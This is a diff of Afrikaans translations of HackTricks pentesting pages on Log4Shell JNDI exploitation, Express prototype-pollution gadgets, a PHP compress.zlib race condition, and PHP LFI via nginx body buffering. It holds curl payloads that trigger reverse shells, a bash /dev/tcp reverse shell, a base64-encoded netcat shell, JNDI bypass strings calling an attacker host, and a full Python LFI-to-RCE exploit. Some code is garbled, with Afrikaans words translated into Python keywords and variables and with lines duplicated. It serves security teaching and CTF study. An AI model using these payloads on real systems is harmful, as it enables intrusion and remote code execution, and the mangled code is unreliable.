Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** op poort 8080 laat loop: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit te laat loop_). Hierdie kwesbare app log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop _X-Api-Version_.
@ -279,7 +271,7 @@ unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Na 'n paar minute se lees van die kode, in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_ kan jy sien hoe die **LDAP en HTTP bedieners geskep word**. Die LDAP bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP bediener herlei, wat die exploit sal bedien.\
In _com.feihong.ldap.gadgets_ kan jy **'n paar spesifieke gadgets** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende sjabloonklasse sien wat **die exploits sal genereer**.
In _com.feihong.ldap.gadgets_ kan jy **'n paar spesifieke gadgets** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel om arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende sjabloonklasse sien wat die **exploits sal genereer**.
Jy kan al die beskikbare exploits sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige is:
```bash
@ -297,7 +289,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Wanneer jy die aanvalle stuur, sal jy 'n paar uitvoer in die terminal sien waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het.
Wanneer jy die aanvalle stuur, sal jy 'n paar uitvoer in die terminale sien waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het.
**Onthou om `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` te kontroleer vir ander eksploitasiemogelijkheden. Boonop, in geval jy dit nodig het, kan jy die poort van die LDAP en HTTP bedieners verander.**
@ -322,18 +314,18 @@ _Hierdie aanval wat 'n op maat gegenereerde java objek gebruik, sal werk in labo
Hierdie opsie is regtig nuttig om **Java weergawes aan te val wat slegs spesifieke klasse vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **arbitrêre kode** uit te voer (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer java program gebruik word sodat die ontploffing kan werk_).
Met **ysoserial** of [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie-ontploffing skep wat deur JNDI afgelaai sal word:
Met **ysoserial** of [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie ontploffing skep wat deur JNDI afgelaai sal word:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI skakels** te genereer waar die eksploitasie sal wag vir verbindings van die kwesbare masjiene. Jy kan **verskillende eksploite wat outomaties gegenereer kan word** deur die JNDI-Exploit-Kit bedien of selfs jou **eie deserialisering payloads** (gegenereer deur jou of ysoserial).
Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI skakels** te genereer waar die ontploffing sal wag vir verbindings van die kwesbare masjiene. Jy kan **verskillende ontploffings bedien wat outomaties gegenereer kan word** deur die JNDI-Exploit-Kit of selfs jou **eie deserialisering payloads** (gegenereer deur jou of ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (1118).png>)
Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid te benut en 'n **reverse shell** te verkry deur net na 'n kwesbare weergawe van log4j te stuur: **`${ldap://10.10.14.10:1389/generated}`**
Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid te benut en 'n **reverse shell** te verkry deur net te stuur na 'n kwesbare weergawe van log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
```java
@ -347,7 +339,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Outomatiese Skandeerders
### Outomatiese Skanners
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -397,15 +389,15 @@ In die CTF kon jy **nie die stderr** van die java-toepassing met log4J toegang n
### Omsettingspatrone Uitsonderings
Net om dit te noem, jy kon ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog sal word. Byvoorbeeld:
Net om dit te noem, jy kan ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog sal word. Byvoorbeeld:
![](<../../.gitbook/assets/image (683).png>)
Dit is nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
Dit was nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
### Omsettingspatrone Regexes
Dit is egter moontlik om sommige **omsettingspatrone wat regexes ondersteun** te gebruik om inligting uit 'n soektog te onttrek deur regexes te gebruik en **binaire soektog** of **tyd-gebaseerde** gedrag te misbruik.
Dit is egter moontlik om sommige **omsettingspatrone wat regexes ondersteun** te gebruik om inligting uit 'n soektog te onttrek deur regexes te gebruik en **binaire soektog** of **tydgebaseerde** gedrag te misbruik.
* **Binaire soektog via uitsonderingsboodskappe**
@ -418,7 +410,7 @@ Deur hierdie gedrag te misbruik, kan jy maak dat vervang **'n uitsondering aktiv
```
* **Tyd-gebaseerd**
Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oorskryding** te veroorsaak indien die vlag gevind word.\
Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oorskryding** te veroorsaak in die geval dat die vlag gevind word.\
Byvoorbeeld, 'n payload soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sou 'n **tyd-oorskryding** in daardie CTF veroorsaak.
In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), in plaas daarvan om 'n ReDoS-aanval te gebruik, is 'n **versterking-aanval** gebruik om 'n tydverskil in die antwoord te veroorsaak:
@ -441,7 +433,7 @@ In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022
> }{#}{######################################################}
> ```
>
> As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elke een van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elke van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Om soveel `#`-s te vervang, sal die 10-sekonde tyd-oorskryding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang)
@ -456,23 +448,18 @@ In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,21 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Dien XSS-antwoorde aan
## Dien XSS antwoorde aan
**Vir verdere besonderhede** [**kyk na die oorspronklike navorsing**](https://portswigger.net/research/server-side-prototype-pollution)
@ -43,11 +29,11 @@ _.merge({}, req.body);
res.send(req.body);
});
```
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons **Express verwar om 'n HTML-antwoord te lewer.** Hierdie kwesbaarheid is afhanklik van die toepassing wat **`res.send(obj)`** gebruik en die liggaam parser met die toepassing/json-inhouds tipe.
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons **Express verwar om 'n HTML-antwoord te dien.** Hierdie kwesbaarheid is afhanklik van die toepassing wat **`res.send(obj)`** gebruik en die liggaam parser met die toepassing/json-inhouds tipe.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Deur **`body`** en **`_body`** eienskappe te **pollute**, is dit moontlik om **Express te laat bedien die HTML inhoud tipe** en die `_body` eienskap te reflekteer, wat lei tot gestoor XSS.
Deur **`body`** en **`_body`** eienskappe te **pollute**, is dit moontlik om **Express te dwing om die HTML inhoud tipe** te bedien en die `_body` eienskap te reflekteer, wat lei tot gestoor XSS.
### Render UTF7
@ -67,9 +53,9 @@ Dan sal 'n weerspieëlde JSON soos volg lyk:
```json
{"foo": "bar"} -- Note the extra space
```
### Exposed Headers
### Blootgestelde Koppe
Die volgende PP gadget sal die bediener dwing om die HTTP koptekst terug te stuur: **`Access-Control-Expose_headers: foo`**
Die volgende PP-gadget sal die bediener laat terugstuur die HTTP-kop: **`Access-Control-Expose_headers: foo`**
```json
{"__proto__":{"exposedHeaders":["foo"]}}
```
@ -94,7 +80,7 @@ Dit is moontlik om die **teruggegee statuskode** te verander met die volgende PP
```
### Fout
Wanneer jy 'n prototipe aan 'n primitiewe waarde soos 'n string toewys, produseer dit 'n **geen-operasie nie, aangesien die prototipe 'n objek moet wees**. As jy probeer om 'n prototipe objek aan die `Object.prototype` self toe te wys, sal dit **'n uitsondering gooi**. Ons kan hierdie twee gedrag gebruik om **te detecteer of prototipe besoedeling suksesvol was**:
Wanneer jy aan 'n prototipe met 'n primitiewe soos 'n string toewys, produseer dit 'n **geen-operasie nie, aangesien die prototipe 'n objek moet wees**. As jy probeer om 'n prototipe objek aan die `Object.prototype` self toe te wys, sal dit **'n uitsondering gooi**. Ons kan hierdie twee gedrag gebruik om **te detecteer of prototipe besoedeling suksesvol was**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
@ -125,17 +111,6 @@ Jy kan dit beslis in 'n fout **ketting** gebruik om 'n **prototype besmetting kw
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -145,8 +120,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -15,20 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` en `PHP_STREAM_PREFER_STDIO`
'n Lêer wat geopen is met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lêer.
@ -37,7 +23,7 @@ Dit beteken dat 'n oproep soos:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek beantwoord met 'n geldige HTTP-respons, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek met 'n geldige HTTP-antwoord beantwoord, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:
```c
@ -49,39 +35,27 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new();
}
```
### Race Condition to RCE
### Race Condition na RCE
[**Hierdie CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) is opgelos met die vorige truuk.
Die aanvaller sal die **slagoffer bediener dwing om 'n verbinding te maak wat 'n lêer van die aanvaller se bediener lees** met behulp van die **`compress.zlib`** protokol.
Die aanvaller sal die **slagoffer se bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvaller se bediener lees** met behulp van die **`compress.zlib`** protokol.
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die **pad** na die tydelike lêer wat geskep is **uitvoer** (dit word deur die bediener gelek).
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die **pad** na die tydelike lêer wat geskep is **uitvoer** (dit is gelekt deur die bediener).
**Terwyl** die **verbinding** steeds oop is, sal die aanvaller 'n **LFI benut wat die tydelike lêer** laai wat hy beheer.
Daar is egter 'n kontrole in die webbediener wat **voorkom dat lêers wat `<?` bevat, gelaai word**. Daarom sal die aanvaller 'n **Race Condition** misbruik. In die verbinding wat steeds oop is, sal die **aanvaller** die **PHP payload STEL** na die **webbediener** **gekontroleer** het of die lêer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
Daar is egter 'n kontrole in die webbediener wat **voorkom dat lêers wat `<?` bevat, gelaai word**. Daarom sal die aanvaller 'n **Race Condition** misbruik. In die verbinding wat steeds oop is, sal die **aanvaller** die **PHP payload STEL** NA die **webbediener** **gekontroleer** het of die lêer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,51 +15,36 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Kwetsbare konfigurasie
[**Voorbeeld van https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* PHP kode:
```php
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (verwyder) ... \`\`\` Let wel: 'n Mens kan nie direk \`/proc/34/fd/15\` in hierdie voorbeeld insluit nie, aangesien PHP se \`include\` funksie die pad na \`/var/lib/nginx/body/0000001368 (verwyder)\` sou oplos wat nie in die lêerstelsel bestaan nie. Hierdie klein beperking kan gelukkig oorgeskrywe word deur 'n paar indireksie soos: \`/proc/self/fd/34/../../../34/fd/15\` wat uiteindelik die inhoud van die verwyderde \`/var/lib/nginx/body/0000001368\` lêer sal uitvoer. ## Volledige Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploiteer PHP plaaslike lêerinclusie (LFI) via nginx se kliënt liggaam buffering hulp # sien https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ vir besonderhede URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # vind nginx werker prosesse r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx werker gevind: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # laai 'n groot kliënt liggaam op om nginx te dwing om 'n /var/lib/nginx/body/$X te skep def uploader(): print('\[+] uploader begin') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
behalwe:
pass
```
```python
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send\_payload\_multiprocess(requests\_session): # Gebruik alle CPU's om die payload as aanvraagliggaam vir Nginx te stuur vir \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate\_random\_path\_prefix(nginx\_pids): # Hierdie metode skep 'n pad uit 'n willekeurige aantal ProcFS padkomponente. 'n Gekreëerde pad sal soos volg lyk /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root pad = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: pad += f"/proc/{pid}/cwd" else: pad += f"/proc/{pid}/root" return pad
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: pad = generate\_random\_path\_prefix(nginx\_pid\_list) pad += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={pad}").text except: continue # Vlaggies is geformateer as hxp{} if "hxp" in d: print("Vlag gevind! ") print(d)
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Skandeer Nginx FD's tussen 10 - 45 in 'n lus. Aangesien lêers en sokke aanhou sluit - dit is baie algemeen dat die aanvraagliggaam FD binne hierdie reeks oopmaak vir fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
